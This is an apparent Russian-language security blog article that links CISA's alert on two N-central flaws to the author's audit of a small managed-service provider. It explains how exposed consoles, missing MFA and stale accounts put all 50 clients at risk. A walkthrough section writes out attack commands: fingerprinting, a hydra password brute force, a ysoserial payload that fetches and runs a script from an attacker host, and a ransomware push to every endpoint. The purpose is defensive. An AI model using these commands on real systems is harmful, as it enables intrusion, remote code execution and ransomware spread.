В августе CISA включила в каталог активно эксплуатируемых уязвимостей две дыры в N-central — популярной платформе для удалённого управления инфраструктурой клиентов, которой пользуются тысячи ИТ-компаний и MSP по всему миру. Срок на исправление для федеральных агентств — три дня, что для CISA случай почти экстренный: обычно на патчи дают недели. Причина спешки простая: связка из двух уязвимостей позволяла получить выполнение произвольного кода на сервере, который управляет сразу всеми обслуживаемыми компаниями.
Когда я читал эту новость, вспомнил собственный аудит у одной ИТ-компании на аутсорсе. Формально там стояла другая система, но принцип и итоговый риск — один в один: одна дыра в RMM-платформе — это не инцидент у одного клиента, а потенциальный обвал у полусотни сразу.
Компания, которая следит за чужими компьютерами
Клиент — небольшая ИТ-компания, обслуживающая около 50 организаций: розница, небольшие производства, пара бухгалтерских контор. Вся инфраструктура — серверы, кассы, рабочие станции сотрудников — управляется из единой RMM-консоли (Remote Monitoring and Management). Зашёл в один интерфейс — видишь агентов на машинах всех клиентов сразу, можешь выполнить команду, скрипт, обновление, развернуть ПО.
Это стандартная архитектура для MSP-рынка: N-central, ConnectWise Automate, Kaseya VSA, Datto RMM работают по одному принципу — центральный сервер, агенты на эндпоинтах, доверительная связь между ними обычно с правами локального администратора или SYSTEM. Удобно ровно до того момента, пока сам центральный сервер не оказывается плохо защищён.
Дверь, которую забыли запереть
Меня позвали на плановый аудит — «просто посмотреть». Первое, что бросилось в глаза при разведке периметра:
$ nmap -p 443,8443,7443 -sV --script=http-title,ssl-cert rmm.example-msp.ru
PORT STATE SERVICE VERSION
443/tcp open ssl/http Apache Tomcat (N-central admin console)
| ssl-cert: Subject: CN=rmm.example-msp.ru
|_http-title: N-central Login
Консоль управления смотрела в интернет напрямую, без VPN и без ограничения по IP. Дальше — HTTP-заголовки и футер страницы логина выдали версию платформы:
$ curl -sk https://rmm.example-msp.ru/ | grep -i "version\|build"
<div class="footer">N-central 2024.5 (Build 123.45)</div>
Версия старше 2025.3.1 — то есть потенциально уязвима к паре CVE-2025-8875 (небезопасная десериализация, CVSS 9.4) и CVE-2025-8876 (командная инъекция через непрочищенный пользовательский ввод, CVSS 9.4), которые как раз и попали в каталог активно эксплуатируемых у CISA. По отдельности каждая — уже критична, а вместе они дают путь от аутентифицированного пользователя до выполнения произвольных команд на сервере с правами системы управления всеми агентами.
А вход в эту консоль защищал только пароль. Второго фактора не было — ни TOTP-приложения, ни SMS-подтверждения. И это ещё полбеды: при ревизии учётных записей нашлись три активных аккаунта бывших сотрудников, один из которых уволился почти два года назад. Доступ никто не отозвал — просто забыли.
Как это эксплуатируется
Сценарий атаки на такую конфигурацию раскладывается на понятные шаги, каждый из которых отрабатывается стандартным инструментарием пентестера.
1. Разведка и снятие отпечатка версии
$ nmap -p 443 --script=http-headers,http-title rmm.example-msp.ru
$ nuclei -u https://rmm.example-msp.ru -t technologies/n-central-detect.yaml
[INF] [n-central-detect] [http] [medium] https://rmm.example-msp.ru
N-central version: 2024.5.123 (vulnerable: CVE-2025-8875, CVE-2025-8876)
Публичные шаблоны nuclei и baннер Tomcat/N-central позволяют за минуты определить версию и сверить её со списком известных уязвимостей — без единого запроса, который выглядел бы подозрительно в логах.
2. Получение учётных данных
Даже без 0-day проще всего зайти через слабое звено — старую учётную запись или подобранный пароль:
$ hydra -l ivanov.former -P rockyou.txt https-post-form \
"/dms2/login:username=^USER^&password=^PASS^:F=Invalid credentials" \
rmm.example-msp.ru
[443][http-post-form] host: rmm.example-msp.ru login: ivanov.former password: Summer2023!
Учётная запись уволенного сотрудника, у которого пароль давно не менялся и попал в очередной утёкший дамп, — классический вход без единого «взлома» в привычном смысле.
3. Эксплуатация уязвимости на сервере
Имея аутентифицированную сессию, атакующий переходит к цепочке CVE-2025-8875/8876. Для десериализации в Java-приложениях типовой инструмент — генерация вредоносного объекта через ysoserial:
$ java -jar ysoserial.jar CommonsCollections6 \
'curl http://attacker.c2/stage1.sh | bash' > payload.ser
$ curl -sk -X POST https://rmm.example-msp.ru/dms2/serviceApi \
-H "Cookie: JSESSIONID=<stolen-session>" \
--data-binary @payload.ser \
-H "Content-Type: application/octet-stream"
Уязвимая точка принимает сериализованный объект без проверки типа — при десериализации выполняется вложенная команда с правами процесса сервера N-central. Это и есть тот самый переход от «украл пароль» к «полный контроль над сервером управления».
4. Массовое распространение через агентскую сеть
RMM-платформы изначально спроектированы для массовых операций — это их основная функция, и именно она превращается в оружие:
-- псевдокод задачи в консоли автоматизации --
Task: Deploy to All Devices
Script: powershell -enc <base64 payload шифровальщика>
Scope: All Managed Endpoints (50 organizations, 1200+ devices)
Schedule: Run Now
Агент на конечных станциях обычно работает с правами SYSTEM — это нужно, чтобы ставить обновления и чинить системные проблемы удалённо. Тот же уровень доступа мгновенно превращается в возможность одной командой развернуть шифровальщик сразу на всех обслуживаемых компаниях.
Что и почему сработало бы дальше
- Отсутствие MFA убирает второй барьер даже при скомпрометированном или подобранном пароле — вход становится вопросом одного удачного combo из брутфорса или фишинга.
- Забытые учётки бывших сотрудников — готовый вход, который не оставляет следов взлома: это легитимные, просто не отозванные права.
- Публичная доступность консоли из интернета расширяет поверхность атаки до всего мира — сканеры вроде Shodan индексируют такие панели по баннеру Tomcat/N-central за минуты.
- Непропатченная версия ПО добавляет к social-engineering вектору технический — RCE без участия человека на другом конце.
- Единая доверительная модель агент-сервер превращает локальный инцидент в массовый: скрипт, который в обычной жизни разворачивает антивирус, с тем же успехом разворачивает шифровальщик.
Именно эта комбинация факторов — не какой-то один экзотический баг — и заставила CISA дать три дня, а не три недели: уязвимость в самом ПО опасна сама по себе, но становится катастрофической именно на фоне слабой гигиены доступов, которая типична для MSP-рынка.
Сколько бы это стоило
Мы прикинули цену такого сценария вместе с директором компании. Средний ущерб от простоя у одного клиента — 300–700 тысяч рублей: остановка кассы или производства, восстановление данных, потерянные заказы. При одновременной атаке на всех 50 клиентов счёт шёл бы на 20–25 миллионов рублей суммарного ущерба.
Но прямые убытки — не главное. После такой истории с подрядчиком просто перестают работать: ни один клиент не остаётся с ИТ-компанией, которая «слила» разом полсотни организаций. Это конец бизнеса, а не строчка в отчёте об инциденте.
